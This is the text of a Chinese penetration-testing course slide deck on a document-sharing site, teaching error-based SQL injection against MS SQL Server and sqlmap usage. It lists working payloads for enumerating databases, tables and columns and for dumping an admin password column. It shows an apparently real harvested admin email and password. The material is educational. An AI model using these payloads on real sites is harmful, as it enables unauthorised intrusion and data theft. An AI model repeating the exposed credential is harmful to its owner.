wKioL1VkliGzBGGbAACUHJdJos63章节.pptxVIP

  • 5
  • 0
  • 约1.86千字
  • 约 17页
  • 2017-11-27 发布于广东
  • 举报
Kali Linux Web 渗透测试— 第十八课-基于错误的Sql注入基本原理和演示 玄魂 交流qq群:303242737 本课主题 Sql注入形成的基本原因 Sql注入的基本类型 基于错误的Sql注入手工注入演示 同样的场景下SqlMap的使用 Sql注入的成因 转义字符处理不当 类型处理不当 查询语句组装不当 错误处理不当 权限配置不当 Sql注入的基本类型 1.数字型与字符串型 2.基于错误,基于响应时间的盲注,基于响应的盲注 识别sql注入 1.识别Sql注入 永假和永真表达式 or 1=1-- 2. 语句执行的报错信息 Having 3.特定数据库的连接符 1’ or ‘ab’=‘a’+’b’-- 1’ or ‘ab’=‘a’ ’b 1’ or ‘ab’=‘a’ || ‘b 基于错误的Sql注入基本原理 2.识别数据库 1=convert(int,@@version)-- 基于错误的Sql注入基本原理 2.拆解库名 1=convert(int,db_name())-- 基于错误的Sql注入基本原理 得到用户名 convert(int,user_name())-- 基于错误的Sql注入基本原理 拆解表名 1=convert(int,(select top 1 table_name from information_schema.tables))-- 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in(pp_allwords,pp_category )))-- 基于错误的Sql注入基本原理 拆解列名 1=convert(int,(select top 1 column_name from information_schema.columns where table_name=pp_admin_tb))-- 1=convert(int,(select top 1 column_name from information_schema.columns where table_name=pp_admin_tb and column_name not in(adminsign_id, email_id, password)))-- 基于错误的Sql注入基本原理 得到字段数据 1=convert(int,(select top 1 password from pp_admin_tb))-- rajwinderpup@ punjabi@123 sqlmap sqlmap 是一个开源的渗透测试工具,可以用来自动化的检测,利用SQL注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令。 官方站点:/ 项目源码:/sqlmapproject/sqlmap 手册:/sqlmapproject/sqlmap/wiki/Usage Kali中启动sqlmap 1.手册大家自己看 2.还是直接讲例子吧 Sqlmap案例一基本使用 -u --dbs -D --tables -T --columns -C --dump --dbms Levelrisk --level 共有五个等级,默认为1,sqlmap使用的payload可以在xml/payloads.xml中看到,你也可以根据相应的格式添加自己的payload。 这个参数不仅影响使用哪些payload同时也会影响测试的注入点,GET和POST的数据都会测试,HTTP Cookie在level为2的时候就会测试,HTTP User-Agent/Referer头在level为3的时候就会测试。 总之在你不确定哪个payload或者参数为注入点的时候,为了保证全面性,建议使用高的level值。 --risk 共有四个风险等级,默认是1会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加OR语句的SQL注入测试。 在有些时候,例如在UPDATE的语句中,注入一个OR的测试语句,可能导致更新的整个表,可能造成很大的风险。 测试的语句同样可以在xml/payloads.xml中找到,你也可以自行添加payload。

您可能关注的文档

文档评论(0)

1亿VIP精品文档

相关文档